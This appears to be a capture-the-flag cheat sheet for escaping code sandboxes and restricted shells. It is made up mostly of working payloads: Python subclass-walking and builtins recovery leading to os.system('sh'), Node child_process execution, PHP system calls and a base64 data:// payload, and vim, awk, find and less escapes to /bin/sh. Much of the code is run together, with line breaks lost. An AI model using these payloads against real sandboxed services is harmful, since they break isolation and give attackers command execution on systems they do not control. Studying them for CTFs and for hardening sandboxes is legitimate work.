- which language?
- which primitives are blocked?
- eval / REPL / template / restricted shell?
- can I inspect globals / builtins / classes / metatables?
- blacklist or allowlist?
- is output filtered or truncated?
Generic strategy
1. fingerprint constraints
2. enumerate what is still reachable
3. use reflection / meta-programming
4. rebuild blocked names indirectly
5. pivot to file read / import / process execution
6. if shell-like, abuse allowed binaries or env
- recover __builtins__
- walk __subclasses__()
- use function globals
- rebuild blocked strings with chr / join / slicing
- getattr around blacklists
- find import / open / system / subprocess primitives
Minimal patterns
().__class__.__base__.__subclasses__()getattr(obj,"__"+"class__")"".join(map(chr,[95,95,105,109,112,111,114,116,95,95]))
Then pivot to:
- import
- file read
- command execution
Advanced pyjail techniques
# format string to leak globals"{0.__class__.__init__.__globals__}".format(obj)f"{x.__class__.__base__}"# ast.literal_eval bypass — not really safe# only evals literals but can OOM / crash# audit hooks (Python 3.8+)# sys.addaudithook() — if set, all calls logged# check: try/except around blocked calls# exec/eval with custom globalsexec("import os; os.system('sh')", {"__builtins__":{}})# ↑ blocked builtins? rebuild from subclasses# breakpoint() → drops to pdb → shellbreakpoint()# in pdb: import os; os.system("sh")# exception messages can leak dataraise Exception(open("flag.txt").read())# compile + execexec(compile("import os","","exec"))
Subclass walking cookbook
# find useful subclassesfor i,c in enumerate(''.__class__.__mro__[-1].__subclasses__()): if 'wrap' in c.__name__.lower(): print(i,c)# common targets (index varies by version)# os._wrap_close → has __init__.__globals__['system']''.__class__.__mro__[-1].__subclasses__()[INDEX] .__init__.__globals__['system']('sh')# _frozen_importlib.BuiltinImporter''.__class__.__mro__[-1].__subclasses__()[INDEX] .load_module('os').system('id')# catch_warnings has _module (linecache→os)[c for c in ().__class__.__base__.__subclasses__() if c.__name__=='catch_warnings'][0]()._module .__builtins__['__import__']('os').system('sh')# bypass char restrictionsgetattr(getattr('',"__class__"),"__mro__")# use chr() to build any strings=chr(95)*2+chr(105)+chr(109)+chr(112)+...
03Lua / Language Jails
Lua checks
_Gdebugpackagerequireload / loadstringgetmetatable / setmetatableio / os
Lua escape ideas
- inspect _G for stripped globals
- use debug.getregistry() if present
- check package.loaded
- restore dangerous modules with require
- use os.execute / io.open if reachable
# Function constructor → arbitrary code[].constructor.constructor("return this")()Function("return process")()# Node.jsprocess.mainModule.require('child_process') .execSync('id').toString()# without process keywordthis.constructor.constructor ("return this.process")() .mainModule.require("child_process") .execSync("id").toString()# prototype pollution → RCE in some frameworks# vm module escapes (vm.runInNewContext)this.__proto__.constructor.constructor ("return process")()
PHP jail
# common dangerous functionssystem exec passthru shell_exec popen
proc_open pcntl_exec
# stream wrappersphp://filter/convert.base64-encode/resource=flag.phpdata://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOw==expect://id# variable functions$f="system"; $f("id");# variable variables$$a = "system"; $$a("id");# backtick operator`id`# preg_replace /e (deprecated but seen in CTF)preg_replace('/.*/e','system("id")','')
04Restricted Shells
Fingerprint quickly
echo $0echo $SHELLsetenvcompgen -cpwd; id; ls
Escape ideas
- editors: vi / vim
- pagers: less / more / man
- awk / find / perl / python / lua still installed
- tar / zip helper execution
- PATH abuse
- PAGER / VISUAL / EDITOR env variables
Practical one-liners
vim -c ':set shell=/bin/sh' -c ':shell'awk 'BEGIN{system("/bin/sh")}'find . -exec /bin/sh \; -quitless file then !shman man then !sh